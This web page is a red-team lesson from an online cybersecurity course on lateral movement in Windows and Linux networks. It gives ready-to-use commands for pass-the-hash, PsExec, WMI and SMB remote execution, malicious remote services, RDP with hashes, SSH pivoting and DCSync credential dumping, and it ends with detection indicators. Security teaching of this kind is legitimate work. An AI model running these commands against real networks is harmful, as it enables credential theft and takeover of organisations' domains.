Lateral Movement Techniques
Move through networks using WMI, PsExec, WinRM, and SMB shares without triggering alerts.
Lateral Movement Techniques is a free Cyber Security Academy lesson on CoddyKit — lesson 3 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Cyber Security Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.
What is Lateral Movement?
Lateral movement is the set of techniques attackers use to progressively move through a network after initial compromise — pivoting from the first foothold toward higher-value targets like domain controllers, databases, and backup systems.
Pass-the-Hash (PtH)
Windows NTLM authentication allows using the password hash directly instead of the plaintext password. An attacker who has dumped NTLM hashes can authenticate to other systems without cracking the hash.
# Impacket psexec with PtH:
impacket-psexec -hashes :NTLM_HASH_HERE administrator@10.0.0.5
# CrackMapExec:
crackmapexec smb 10.0.0.0/24 -u administrator -H NTLM_HASHPass-the-Ticket (PtT)
Kerberos tickets (TGT or TGS) can be extracted from memory and imported to authenticate as the ticket holder. Golden Ticket attacks forge TGTs using the KRBTGT hash, providing unlimited Kerberos access to the domain.
Remote Code Execution: PSExec
psexec (Sysinternals and Impacket) executes commands on remote Windows hosts via SMB/admin shares. Requires admin credentials. Creates a service binary on the target.
impacket-psexec administrator:Password@10.0.0.5
# Or via Metasploit:
use exploit/windows/smb/psexecWMI Lateral Movement
Windows Management Instrumentation enables remote code execution without creating files detectable by many tools:
# Using wmiexec (Impacket):
impacket-wmiexec administrator:Password@10.0.0.5
# Or via PowerShell:
$wmi = [wmiclass]"\\10.0.0.5\root\cimv2:Win32_Process"
$wmi.Create("cmd.exe /c payload.exe")SMB and Admin Shares
Windows admin shares (C$, ADMIN$, IPC$) allow lateral movement with admin credentials:
# Mount admin share:
net use \\10.0.0.5\C$ /user:DOMAIN\administrator Password
# Copy and execute:
copy evil.exe \\10.0.0.5\C$\Windows\Temp\
impacket-smbexec administrator:Password@10.0.0.5Remote Services: sc and at
Create services or scheduled tasks on remote systems:
# Create remote service:
sc \\10.0.0.5 create EvilSvc binPath= "C:\Temp\payload.exe"
sc \\10.0.0.5 start EvilSvc
# Scheduled task:
impacket-atexec administrator:Password@10.0.0.5 "whoami > C:\Temp\out.txt"RDP and Interactive Sessions
RDP (Remote Desktop Protocol, port 3389) provides full interactive access. Attackers use RDP with stolen credentials. Defense: restrict RDP to jump servers, require NLA, log all sessions.
# RDP with stolen creds:
xfreerdp /u:administrator /p:Password /v:10.0.0.5
# Bypass NLA with NTLM hash:
xfreerdp /u:administrator /pth:NTLM_HASH /v:10.0.0.5SSH as Lateral Movement
In Linux environments, SSH with stolen keys or credentials moves laterally. Agent forwarding abuse pivots through compromised hosts. SSH tunnels forward ports to reach otherwise inaccessible systems.
# SSH pivoting:
ssh -L 5432:internal-db:5432 user@pivot_host
# SSH dynamic SOCKS proxy:
ssh -D 1080 user@pivot_hostActive Directory Replication (DCSync)
DCSync abuses AD replication to pull password hashes directly from the DC without running code on it — requires DS-Replication-Get-Changes-All privilege:
# Impacket secretsdump:
impacket-secretsdump domain/user:password@dc_ip
# Mimikatz:
lsadump::dcsync /domain:corp.local /user:krbtgtDetecting Lateral Movement
Detection indicators:
- Event 4624 (logon) with unusual Type 3 (network) logons
- Service creation on remote hosts (Event 7045)
- SMB connections between workstations
- WMI process creation on remote hosts
- Abnormal account behavior (user logging in from multiple machines)
Quick Check: Lateral Movement
Which technique allows an attacker to authenticate to Windows systems using a captured NTLM hash without cracking it?
Lesson Recap
Lateral movement uses compromised credentials and protocols to spread through the network. Key techniques: Pass-the-Hash (NTLM hash reuse), Pass-the-Ticket (Kerberos), PSExec/WMI/SMB for remote execution, DCSync for domain credential harvesting. Detection: unusual network logons (Event 4624), remote service creation (Event 7045), workstation-to-workstation SMB traffic.
Frequently asked questions
Is the “Lateral Movement Techniques” lesson free?
Yes — the full text of “Lateral Movement Techniques” is free to read here on the web, and the Cyber Security Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Cyber Security Academy course, upgrade to CoddyKit PRO.
What will I learn in “Lateral Movement Techniques”?
Move through networks using WMI, PsExec, WinRM, and SMB shares without triggering alerts. You practise Cyber Security Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.
Do I need any experience to start Cyber Security Academy?
No prior experience is required. Cyber Security Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 3 of 4, so you can start here or from the beginning and move at your own pace.
How long does the “Lateral Movement Techniques” lesson take?
Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.
Can I write and run code in this Cyber Security Academy lesson?
Yes. Every Cyber Security Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.
All lessons in this course
- C2 Frameworks: Cobalt Strike and Sliver
- Living-Off-the-Land Binaries (LOLBins)
- Lateral Movement Techniques
- Red Team Report Writing